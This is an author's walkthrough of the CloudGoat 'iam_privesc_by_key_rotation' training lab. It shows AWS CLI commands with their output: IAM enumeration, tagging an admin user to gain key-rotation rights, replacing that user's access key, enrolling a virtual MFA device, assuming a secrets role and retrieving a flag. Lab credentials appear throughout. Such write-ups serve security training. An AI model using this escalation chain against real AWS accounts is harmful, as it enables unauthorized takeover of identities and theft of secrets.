Warning Spoilers!

This is a write up the CloudGoat scenario iam_privesc_by_key_rotation.

I created this scenario, if you have any feedback please in the CloudGoat GitHub or reach out directly.

Installation

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.

If your using custom aws profiles use the following command.

./cloudgoat.py config profile

Scenario

The goal of the scenario is to retrieve the value in a secretsmanager secret.

./cloudgoat.py create iam_privesc_by_key_rotation
# cloudgoat_output_kerrigan_access_key_id = AKIAU67FXIGALRC5KCFP
# cloudgoat_output_kerrigan_secret_key = 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

Once the resources are created you get AWS CLI credentials.

export AWS_ACCESS_KEY_ID=AKIAU67FXIGALRC5KCFP
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAU67FXIGAA2UY52ILW",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/manager_iam_privesc_by_key_rotation_cgidgbuariauok"
# }

Enumeration

aws iam list-users
# admin_iam_privesc_by_key_rotation_cgidgbuariauok
# developer_iam_privesc_by_key_rotation_cgidgbuariauok
# manager_iam_privesc_by_key_rotation_cgidgbuariauok

aws iam list-attached-user-policies --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok
# IAMReadOnlyAccess

aws iam list-user-policies --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok
# SelfManageAccess
# TagResources

aws iam get-user-policy --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name SelfManageAccess
# {
#     "Action": [
#         "iam:DeactivateMFADevice",
#         "iam:GetMFADevice",
#         "iam:EnableMFADevice",
#         "iam:ResyncMFADevice",
#         "iam:DeleteAccessKey",
#         "iam:UpdateAccessKey",
#         "iam:CreateAccessKey"
#     ],
#     "Condition": {
#         "StringEquals": {
#             "aws:ResourceTag/developer": "true"
#         }
#     },
#     "Effect": "Allow",
#     "Resource": [
#         "arn:aws:iam::0123456789:user/*",
#         "arn:aws:iam::0123456789:mfa/*"
#     ],
#     "Sid": "SelfManageAccess"
# },
# {
#     "Action": [
#         "iam:DeleteVirtualMFADevice",
#         "iam:CreateVirtualMFADevice"
#     ],
#     "Effect": "Allow",
#     "Resource": "arn:aws:iam::0123456789:mfa/*",
#     "Sid": "CreateMFA"
# }

aws iam get-user-policy --user-name manager_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name TagResources
# {
#     "Action": [
#         "iam:UntagUser",
#         "iam:UntagRole",
#         "iam:TagRole",
#         "iam:UntagMFADevice",
#         "iam:UntagPolicy",
#         "iam:TagMFADevice",
#         "iam:TagPolicy",
#         "iam:TagUser"
#     ],
#     "Effect": "Allow",
#     "Resource": "*",
#     "Sid": "TagResources"
# }

In addition to ReadOnly access the inline policy SelfManageAccess allows the user to setup access to users with the developer tag. The second inline policy TagResources lets us tag roles, policies, mfa devices, and most interesting users.

Before we start tagging users lets see what permissions the other users have.

aws iam list-attached-user-policies --user-name developer_iam_privesc_by_key_rotation_cgidgbuariauok
# None

aws iam list-user-policies --user-name developer_iam_privesc_by_key_rotation_cgidgbuariauok
# DeveloperViewSecrets

aws iam get-user-policy --user-name developer_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name DeveloperViewSecrets
# {
#     "Action": "secretsmanager:ListSecrets",
#     "Effect": "Allow",
#     "Resource": "*",
#     "Sid": "ViewSecrets"
# }

The developer user has access to view all secrets but that does not allow the retrieval of the secret data. 😢

aws iam list-attached-user-policies --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# IAMReadOnlyAccess

aws iam list-user-policies --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# AssumeRoles

aws iam get-user-policy --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok --policy-name AssumeRoles
# {
#     "Action": "sts:AssumeRole",
#     "Effect": "Allow",
#     "Resource": "arn:aws:iam::0123456789:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok",
#     "Sid": "AssumeRole"
# }

Based on the name we know its going to be something juicy. The ReadOnly policy is self explaining, but the second policy lets us assume a role.

aws iam get-role --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok
# "Statement": [
#     {
#         "Sid": "",
#         "Effect": "Allow",
#         "Principal": {
#           "AWS": "arn:aws:iam::0123456789:root"
#         },
#         "Action": "sts:AssumeRole",
#         "Condition": {
#           "Bool": {
#               "aws:MultiFactorAuthPresent": "true"
#           }
#         }
#     }
# ]

aws iam list-role-policies --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok
# None

aws iam list-attached-role-policies --role-name cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok
# arn:aws:iam::0123456789:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok

The statement above shows that any subject in the account can assume it if the condition of having MFA. Lets look into what the policy cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok grants the role.

aws iam get-policy --policy-arn arn:aws:iam::0123456789:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok
# "DefaultVersionId": "v1"

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgidgbuariauok --version-id v1
# {
#     "Action": "secretsmanager:ListSecrets",
#     "Effect": "Allow",
#     "Resource": "*"
# },
# {
#     "Action": "secretsmanager:GetSecretValue",
#     "Effect": "Allow",
#     "Resource": "arn:aws:secretsmanager:us-east-1:0123456789:​secret:cg_secret_iam_privesc_by_key_rotation_cgidgbuariauok-jcJu3f"
# }

First we check which version is in use and then retrieve the permissions. The first statement lets it list all secrets (same as the developer user). The second lets us get the secret values of the scenarios.

With all the information we gathered its time to exploit.

Exploitation

First lets add a tag to the admin user to allow us to change its access keys.

aws iam tag-user --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok --tags '{"Key":"developer","Value":"true"}'

Next we will replace a access key with one we manage.

aws iam list-access-keys --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# {
#     "AccessKeyMetadata": [
#         {
#             "UserName": "admin_iam_privesc_by_key_rotation_cgidgbuariauok",
#             "AccessKeyId": "AKIAU67FXIGAO2DFE264",
#             "Status": "Inactive",
#             "CreateDate": "2023-09-24T00:42:07+00:00"
#         },
#         {
#             "UserName": "admin_iam_privesc_by_key_rotation_cgidgbuariauok",
#             "AccessKeyId": "AKIAU67FXIGAELIIY4GE",
#             "Status": "Inactive",
#             "CreateDate": "2023-09-24T00:42:07+00:00"
#         }
#     ]
# }

aws iam delete-access-key --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok --access-key-id AKIAU67FXIGAO2DFE264

aws iam create-access-key --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok
# {
#     "AccessKey": {
#         "UserName": "admin_iam_privesc_by_key_rotation_cgidgbuariauok",
#         "AccessKeyId": "AKIAU67FXIGAPPGKFXNL",
#         "Status": "Active",
#         "SecretAccessKey": "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",
#         "CreateDate": "2023-09-24T01:14:38+00:00"
#     }
# }

Now that we have credentials of the admin user we need to assume the role, but it require MFA to work. Lets add a new MFA device to the user.

aws iam create-virtual-mfa-device --virtual-mfa-device-name cloudgoat_virtual_mfa --outfile QRCode.png --bootstrap-method QRCodePNG
# "SerialNumber": "arn:aws:iam::0123456789:mfa/cloudgoat_virtual_mfa"

With a TOTP device scan (recommend) the QR code in the file QRCode.png

With two token generate enable and attach the device to the admin user

aws iam enable-mfa-device \
    --user-name admin_iam_privesc_by_key_rotation_cgidgbuariauok \
    --serial-number arn:aws:iam::0123456789:mfa/cloudgoat_virtual_mfa \
    --authentication-code1 037962 \
    --authentication-code2 192464

With both the access keys and MFA lets assume the role.

export AWS_ACCESS_KEY_ID=AKIAU67FXIGAPPGKFXNL
export AWS_SECRET_ACCESS_KEY=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

aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok --role-session-name cloudgoat_secret --serial-number arn:aws:iam::0123456789:mfa/cloudgoat_virtual_mfa --token-code 939044
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAU67FXIGAMMEOGRX3",
#         "SecretAccessKey": "o6poyTITtIxw7FGxZAyBJ5wJKKW8u19M9pcPNu6v",
#         "SessionToken": "IQoJb3JpZ2luX2VjEEIaCXVzLWVhc3QtMSJHMEUCIQDQKmdtqKTHXZxitNFpxDrWMjjwA/FWAW0mPatLNiC1rgIgXfBYZbwwY65HXEnkKXxH6A94rpNriJbd4N2P/ehn48kqnQIIOhAAGgwzNDEzOTQ4MDEwMjQiDO+74LufDpv1yVMa5Sr6AWRJZGcrzZwu/bh2us0dY6egVulOOGb7pLsqXEVOwVvqi5irxSFrSHf4EvGOa2DosVeI7tnUC1GSwxR7M2DkODmSFZThewbEOZEO0EBNRK8AReMAwdWzaL+DXCPWuSzjdbFWrzDASi3kZHMgdBN14OznOSJhFfcc71yZg+4Ja0nf91NxBD4ZUUPtRmfzW074GAEwWAllAfDHKT59Ac3NGHRdykvr7YR+zDY5aUJQh3UyK6bld7bAymsxRlFBMc3jF2xCgmVqswp4pYeESoNsz3VAv6Sw1mNQVbiovDftkR69Dl11Pe2rGy64sJWFtC0QEcMNgS40XJanj8swrp6+qAY6nQE5blGQeaifsd1ucnklEdggRDcJL6+a9o+IaP50+NcoL0sbEjfvq1f/y33Xcmkt67qM8wMfnEBxRa7WNlTzYo6TMDw1oiAuJTsNW8JpswOwiX0hvel5SXPKpld3Kxe4DggOOpYUF3lDzLBWEwzNT6CUYYj5KEGKWstzRTifLgOrP4xeODK266tP9cMv72aS9vroJKeTQ38GEFpbKUVK",
#         "Expiration": "2023-09-24T02:21:50+00:00"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAU67FXIGAJH5SULBXM:cloudgoat_secret",
#         "Arn": "arn:aws:sts::0123456789:assumed-role/cg_secretsmanager_iam_privesc_by_key_rotation_cgidgbuariauok/cloudgoat_secret"
#     }
# }

In another terminal lets export the roles credentials

export AWS_ACCESS_KEY_ID=ASIAU67FXIGAMMEOGRX3
export AWS_SECRET_ACCESS_KEY=o6poyTITtIxw7FGxZAyBJ5wJKKW8u19M9pcPNu6v
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEEIaCXVzLWVhc3QtMSJHMEUCIQDQKmdtqKTHXZxitNFpxDrWMjjwA/FWAW0mPatLNiC1rgIgXfBYZbwwY65HXEnkKXxH6A94rpNriJbd4N2P/ehn48kqnQIIOhAAGgwzNDEzOTQ4MDEwMjQiDO+74LufDpv1yVMa5Sr6AWRJZGcrzZwu/bh2us0dY6egVulOOGb7pLsqXEVOwVvqi5irxSFrSHf4EvGOa2DosVeI7tnUC1GSwxR7M2DkODmSFZThewbEOZEO0EBNRK8AReMAwdWzaL+DXCPWuSzjdbFWrzDASi3kZHMgdBN14OznOSJhFfcc71yZg+4Ja0nf91NxBD4ZUUPtRmfzW074GAEwWAllAfDHKT59Ac3NGHRdykvr7YR+zDY5aUJQh3UyK6bld7bAymsxRlFBMc3jF2xCgmVqswp4pYeESoNsz3VAv6Sw1mNQVbiovDftkR69Dl11Pe2rGy64sJWFtC0QEcMNgS40XJanj8swrp6+qAY6nQE5blGQeaifsd1ucnklEdggRDcJL6+a9o+IaP50+NcoL0sbEjfvq1f/y33Xcmkt67qM8wMfnEBxRa7WNlTzYo6TMDw1oiAuJTsNW8JpswOwiX0hvel5SXPKpld3Kxe4DggOOpYUF3lDzLBWEwzNT6CUYYj5KEGKWstzRTifLgOrP4xeODK266tP9cMv72aS9vroJKeTQ38GEFpbKUVK

Lets get that secret.

aws secretsmanager list-secrets
# cg_secret_iam_privesc_by_key_rotation_cgidgbuariauok

aws secretsmanager get-secret-value --secret-id cg_secret_iam_privesc_by_key_rotation_cgidgbuariauok
#  "SecretString": "flag{GE7_17_Y0uRsElF}"

Cleanup

rm QRCode.png

./cloudgoat.py destroy iam_privesc_by_key_rotation

Want more CloudGoat? I have more walk through on the website.

Join the Rhino Security Labs Discord.